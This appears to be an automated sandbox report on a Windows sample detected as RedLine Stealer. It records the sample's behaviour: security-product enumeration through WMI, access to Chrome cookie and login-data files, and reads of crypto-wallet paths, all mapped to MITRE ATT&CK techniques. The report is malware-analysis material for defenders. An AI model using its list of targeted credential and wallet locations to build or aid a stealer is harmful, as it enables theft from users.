Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe	Queries volume information: C:\Windows\System32\Microsoft\Telemetry\sihost32.exe VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Windows-Defender-Management-Powershell-Group-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D5D280 GetLocalTime,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe

Code function: 0_2_00D80558 GetVersionExA,GetVersionExA,

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: YfTokH7RIj.exe, 00000000.00000003.701024550.0000000000C15000.00000004.00000001.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.YfTokH7RIj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: l1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: l-cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: YfTokH7RIj.exe, 00000000.00000002.727807304.0000000003B72000.00000004.00000001.sdmp	String found in binary or memory: l5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\
Source: C:\Users\user\Desktop\YfTokH7RIj.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Source: Yara match

File source: Process Memory Space: YfTokH7RIj.exe PID: 6764, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 0.2.YfTokH7RIj.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.648277065.00000000035E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.716260926.0000000000402000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation221	Scheduled Task/Job1	Process Injection12	Disable or Modify Tools11	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Ingress Tool Transfer1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API1	Boot or Logon Initialization Scripts	Scheduled Task/Job1	Obfuscated Files or Information21	Input Capture1	File and Directory Discovery2	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Command and Scripting Interpreter1	Logon Script (Windows)	Logon Script (Windows)	Software Packing22	Security Account Manager	System Information Discovery136	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Scheduled Task/Job1	Logon Script (Mac)	Logon Script (Mac)	Timestomp1	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Masquerading121	LSA Secrets	Security Software Discovery551	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol3	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Virtualization/Sandbox Evasion341	Cached Domain Credentials	Process Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	Process Injection12	DCSync	Virtualization/Sandbox Evasion341	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Masquerading	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
